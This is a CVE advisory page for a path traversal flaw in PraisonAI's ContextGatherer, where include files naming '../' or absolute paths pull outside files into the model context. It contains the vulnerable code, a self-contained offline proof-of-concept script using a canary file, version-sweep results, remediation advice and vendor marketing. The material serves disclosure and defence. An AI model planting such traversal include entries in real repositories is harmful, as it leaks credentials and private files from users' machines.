CVE-2026-61431

CVE-2026-61431 is a medium-severity path traversal vulnerability in praisonai (pip), affecting versions <= 4.6.77. It is fixed in 4.6.78.

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Summary

PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace

ContextGatherer include resolution permits absolute and traversal reads outside the workspace

PraisonAI's praisonai.ui.context.ContextGatherer treats the configured directory as the project workspace, but project-controlled .praisoncontext and .praisoninclude files can name absolute paths or .. traversal paths. When context gathering runs, PraisonAI opens those outside paths and appends their contents to the generated context bundle. An attacker who can supply or modify a workspace repository can therefore cause process-readable files outside the intended project root to be sent to the caller or model as project context.

Technical Details

ContextGatherer.get_include_paths() reads include entries directly from .praisoncontext and .praisoninclude under the configured workspace. It stores each non-comment line as a raw include path:

include_file = os.path.join(self.directory, '.praisoncontext')
if os.path.exists(include_file):
    with open(include_file, 'r') as f:
        include_paths.extend(
            line.strip() for line in f
            if line.strip() and not line.startswith('#')
        )

When .praisoncontext is present, gather_context() passes every include entry through os.path.join(self.directory, include_path) and then processes the result:

for include_path in self.include_paths:
    full_path = os.path.join(self.directory, include_path)
    process_path(full_path)

The .praisoninclude path has the same unsafe join after first processing the workspace:

process_path(self.directory)
for include_path in self.include_paths:
    full_path = os.path.join(self.directory, include_path)
    process_path(full_path)

There is no canonicalization or containment check before process_path() opens files or recursively walks directories. In Python, os.path.join(workspace, absolute_path) returns the absolute path and discards workspace; os.path.join(workspace, "../outside.py") remains outside the workspace once normalized by filesystem operations. add_file_content() then opens the supplied path and appends file contents to the context before display bookkeeping:

with open(file_path, 'r', encoding='utf-8') as f:
    content = f.read()
    context.append(
        f"File: {file_path}\n\n{content}\n\n{'=' * 50}\n"
    )
    self.included_files.append(
        Path(file_path).relative_to(self.directory)
    )

For parent traversal paths, Path(file_path).relative_to(self.directory) raises after the outside file content has already been appended, so the caller receives the outside content even if an error is logged. For absolute paths, the outside content is appended as well. This violates the workspace invariant for a context-gathering feature: repository-local include metadata should select files within the project, not arbitrary process-readable host files.

PoV

The minimal vulnerable shape is a workspace containing only a normal source file and one include file:

workspace/
  .praisoncontext      # contains: ../outside_secret.py
  inside.py
outside_secret.py      # outside the workspace

Running ContextGatherer(directory="workspace").run() returns context containing outside_secret.py even though that file is outside the configured workspace. The same result occurs when .praisoncontext contains an absolute path to the outside file, and when .praisoninclude contains either the parent traversal path or the absolute path.

PoC

Save the self-contained script from the Appendix below as context_include_workspace_pov.py, then run it against a local checkout:

export PRAISONAI=/path/to/PraisonAI
PYTHONPATH="$PRAISONAI/src/praisonai" python context_include_workspace_pov.py

Expected vulnerable output:

{
  "expectations": {
    "control_inside_file_is_collected": true,
    "control_without_include_does_not_read_outside": true,
    "praisoncontext_absolute_path_discloses_outside": true,
    "praisoncontext_parent_traversal_discloses_outside": true,
    "praisoninclude_absolute_path_discloses_outside": true,
    "praisoninclude_parent_traversal_discloses_outside": true
  },
  "source_commit": "1620b49f36945d8cc8ee5635b906c960df5097a0",
  "source_file": "$PRAISONAI/src/praisonai/praisonai/ui/context.py",
  "vulnerable": true
}

The version sweep sampled old and current releases. All sampled versions are vulnerable:

{"ref":"v2.3.10","praisonai_version":"2.3.10","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v2.3.11","praisonai_version":"2.3.11","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v3.8.1","praisonai_version":"3.8.1","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v3.9.26","praisonai_version":"3.9.26","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.4.12","praisonai_version":"4.4.12","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.5.16","praisonai_version":"4.5.16","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.5.128","praisonai_version":"4.5.128","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.58","praisonai_version":"4.6.58","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.62","praisonai_version":"4.6.62","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.63","praisonai_version":"4.6.63","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"HEAD","praisonai_version":"4.6.63","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}

No external service, live target, real credential, model provider, or network access is needed for reproduction.

Affected Package/Versions

  • Package: PraisonAI / praisonai
  • Component: praisonai.ui.context.ContextGatherer
  • Current main tested: 1620b49f36945d8cc8ee5635b906c960df5097a0
  • Current package version in the tested source tree: 4.6.63
  • Latest tested release tag: v4.6.63
  • Oldest sampled vulnerable release tag: v2.3.10

Suggested affected range, based on the sampled source sweep:

praisonai >= 2.3.10, <= 4.6.63

The exact first affected released package version should be confirmed from release history; the sampled range shows the bug is longstanding and still present on current main.

Advisory History

No checked public advisory or local prior report matched praisonai.ui.context.ContextGatherer reading outside-workspace files because project-controlled .praisoncontext or .praisoninclude entries contain absolute paths or .. traversal paths.

Closest public comparators are related but distinct:

  • GHSA-gcq3-mfvh-3x25: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers praisonai Code CODE_TOOLS wrappers and unset workspace defaults for read/edit helpers. This report has an explicitly configured workspace directory and an attacker-controlled include file inside that workspace; it does not use Code tools or an unset global workspace.
  • GHSA-j7qx-p75m-wp7g: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw artifact_path values. This report covers praisonai.ui.context.ContextGatherer include-file processing.
  • GHSA-22cj-m4wf-fv2c: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where run_id and agent_id are path components. This report covers .praisoncontext/.praisoninclude entries in the classic UI context gatherer.
  • GHSA-grrg-5cg9-58pf / CVE-2026-40117: read_skill_file() arbitrary file read. This report does not use skill tools or approval-gated skill file APIs.
  • GHSA-7j2f-xc8p-fjmq / CVE-2026-40152 and GHSA-693f-pf34-72c5: FileTools/listing path traversal surfaces. This report is not in praisonaiagents.tools.file_tools or legacy FileTools; it discloses file content through context-gathering output.
  • GHSA-fwh2-95jw-g4j6: PraisonAI MultiAgentMonitor path traversal, published on 2026-06-19, affects versions before 1.5.115. This report affects current main and 4.6.63 and is triggered by .praisoncontext/.praisoninclude include paths rather than MultiAgentMonitor path parameters.
  • GHSA-qwwv-hc99-6f5p, GHSA-5fr5-2c3f-3fcr, GHSA-gx4r-3wg8-9w5x, and GHSA-x44p-gg67-52fc: current public PraisonAI advisories for MultiAgentLedger duplicate IDs, AGUI CORS/authorization, UI approval-mode command execution, and approval cache keying. None covers ContextGatherer, .praisoncontext, .praisoninclude, or praisonai.ui.context.

Public search found no hits for PraisonAI ContextGatherer .praisoncontext workspace boundary arbitrary file read, praisoninclude ContextGatherer, or praisonai.ui.context in public GitHub advisory text.

References

Appendix: Self-Contained Context Include Workspace PoC

#!/usr/bin/env python3
"""Offline PoV for PraisonAI ContextGatherer include-file workspace escape."""

from __future__ import annotations

import contextlib
import io
import inspect
import json
import logging
import subprocess
import tempfile
from pathlib import Path

from praisonai.ui.context import ContextGatherer


CANARY = "PRAISON_CONTEXT_CANARY=outside-workspace"
logging.getLogger("praisonai.ui.context").disabled = True


def imported_source_file() -> Path:
    return Path(inspect.getfile(ContextGatherer)).resolve()


def git_head(source_file: Path) -> str:
    try:
        repo_root = next(parent for parent in source_file.parents if (parent / ".git").exists())
        return subprocess.check_output(
            ["git", "-C", str(repo_root), "rev-parse", "HEAD"],
            text=True,
            stderr=subprocess.DEVNULL,
        ).strip()
    except Exception:
        return "unknown"


def gather_context(workspace: Path) -> tuple[str, str]:
    stdout = io.StringIO()
    stderr = io.StringIO()
    with contextlib.redirect_stdout(stdout), contextlib.redirect_stderr(stderr):
        context, _tokens, _tree = ContextGatherer(
            directory=str(workspace),
            max_file_size=100_000,
            max_tokens=100_000,
        ).run()
    return context, stdout.getvalue() + stderr.getvalue()


def reset_include_files(workspace: Path) -> None:
    for name in (".praisoncontext", ".praisoninclude"):
        path = workspace / name
        if path.exists():
            path.unlink()


def redact(value, temp_root: Path, source_file: Path):
    if isinstance(value, str):
        source_root = next((parent for parent in source_file.parents if (parent / ".git").exists()), source_file.parents[4])
        return value.replace(str(temp_root), "$TMPDIR").replace(str(source_root), "$PRAISONAI")
    if isinstance(value, list):
        return [redact(item, temp_root, source_file) for item in value]
    if isinstance(value, dict):
        return {key: redact(item, temp_root, source_file) for key, item in value.items()}
    return value


def main() -> None:
    source_file = imported_source_file()
    with tempfile.TemporaryDirectory(prefix="praison-context-include-pov-") as tmp:
        temp_root = Path(tmp)
        workspace = temp_root / "workspace"
        workspace.mkdir()
        inside = workspace / "inside.py"
        outside = temp_root / "outside_secret.py"
        inside.write_text("INSIDE_ONLY = True\n", encoding="utf-8")
        outside.write_text(f"{CANARY}\n", encoding="utf-8")

        contexts = {}
        logs = {}

        reset_include_files(workspace)
        contexts["control_no_include"], logs["control_no_include"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoncontext").write_text("../outside_secret.py\n", encoding="utf-8")
        contexts["praisoncontext_parent_traversal"], logs["praisoncontext_parent_traversal"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoncontext").write_text(str(outside) + "\n", encoding="utf-8")
        contexts["praisoncontext_absolute_path"], logs["praisoncontext_absolute_path"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoninclude").write_text("../outside_secret.py\n", encoding="utf-8")
        contexts["praisoninclude_parent_traversal"], logs["praisoninclude_parent_traversal"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoninclude").write_text(str(outside) + "\n", encoding="utf-8")
        contexts["praisoninclude_absolute_path"], logs["praisoninclude_absolute_path"] = gather_context(workspace)

        expectations = {
            "control_without_include_does_not_read_outside": CANARY not in contexts["control_no_include"],
            "control_inside_file_is_collected": "INSIDE_ONLY = True" in contexts["control_no_include"],
            "praisoncontext_parent_traversal_discloses_outside": CANARY in contexts["praisoncontext_parent_traversal"],
            "praisoncontext_absolute_path_discloses_outside": CANARY in contexts["praisoncontext_absolute_path"],
            "praisoninclude_parent_traversal_discloses_outside": CANARY in contexts["praisoninclude_parent_traversal"],
            "praisoninclude_absolute_path_discloses_outside": CANARY in contexts["praisoninclude_absolute_path"],
        }

        output = {
            "source_commit": git_head(source_file),
            "source_file": str(source_file),
            "workspace_root": str(workspace),
            "outside_file": str(outside),
            "vulnerable": all(expectations.values()),
            "expectations": expectations,
            "context_contains": {
                name: {
                    "contains_inside": "INSIDE_ONLY = True" in context,
                    "contains_outside_canary": CANARY in context,
                }
                for name, context in contexts.items()
            },
            "captured_logs": logs,
        }

        print(json.dumps(redact(output, temp_root, source_file), indent=2, sort_keys=True))


if __name__ == "__main__":
    main()

Impact

If a user or service runs PraisonAI context gathering on an attacker-influenced workspace, the attacker can cause local files outside the project root to be included in the generated context. Practical impacts include disclosure of source files from adjacent projects, local configuration, prompt transcripts, logs, API keys, and other process-readable text files with extensions that ContextGatherer considers relevant. If the context bundle is sent to an external model or exposed to a lower-trust caller, the file contents leave the intended workspace boundary.

This report claims confidentiality impact only. It does not claim arbitrary write, command execution, or availability impact.

Suggested severity: Medium under the direct local/workspace threat model because user interaction is required to run context gathering on an attacker-influenced workspace. Deployments that automatically gather context for untrusted repositories and forward it to a third-party model may score higher.

Suggested CVSS 3.1 vector:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Relevant CWEs:

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory
  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-61431 has a CVSS score of 5.5 (Medium). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.6.78); upgrading removes the vulnerable code path.

Affected versions

praisonai (<= 4.6.77)

Security releases

praisonai → 4.6.78 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Make include-file path resolution fail closed around a single workspace-containment helper:

  1. Resolve the configured workspace root once with Path(self.directory).resolve().
  2. For each include entry, reject absolute paths outside the workspace.
  3. Join relative include entries to the workspace, resolve the result, and require resolved.relative_to(workspace_root) to succeed before opening or walking anything.
  4. Apply the helper to both .praisoncontext and .praisoninclude processing.
  5. Reject escaped directories as well as escaped files; process_path() can recursively walk directories.
  6. Avoid appending file content before display/bookkeeping operations that can fail.
  7. Add regression tests for ../outside.py, absolute outside paths, and outside directories in both .praisoncontext and .praisoninclude.

Minimal containment shape:

def _resolve_workspace_include(workspace: str, include_path: str) -> Path:
    root = Path(workspace).resolve()
    candidate = Path(include_path)
    if not candidate.is_absolute():
        candidate = root / candidate
    resolved = candidate.resolve()
    try:
        resolved.relative_to(root)
    except ValueError as exc:
        raise PermissionError(f"Context include path is outside workspace: {include_path}") from exc
    return resolved

Frequently Asked Questions

  1. What is CVE-2026-61431? CVE-2026-61431 is a medium-severity path traversal vulnerability in praisonai (pip), affecting versions <= 4.6.77. It is fixed in 4.6.78. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2026-61431? CVE-2026-61431 has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of praisonai are affected by CVE-2026-61431? praisonai (pip) versions <= 4.6.77 is affected.
  4. Is there a fix for CVE-2026-61431? Yes. CVE-2026-61431 is fixed in 4.6.78. Upgrade to this version or later.
  5. Is CVE-2026-61431 exploitable, and should I be worried? Whether CVE-2026-61431 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-61431 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-61431? Upgrade praisonai to 4.6.78 or later.

Other vulnerabilities in praisonai

CVE-IDSeverityPackage summary
CVE-2026-61438Highpraisonai: PraisonAI vulnerable to Remote Code Execution via Broken AST SandboxCVE-2026-61426Highpraisonai: PraisonAI: AgentOS defaults to network-exposed no-auth mode, allowing unauthenticated agent invocation and instruction disclosureCVE-2026-61434Highpraisonai: PraisonAI: Shell command allowlist bypass via find -exec built-in actionCVE-2026-61445Criticalpraisonai: PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool CallsCVE-2026-61427Highpraisonai: PraisonAI: MCP HTTP-stream transport is unauthenticated by default, exposing tool enumeration and an unvalidated tool-call surface

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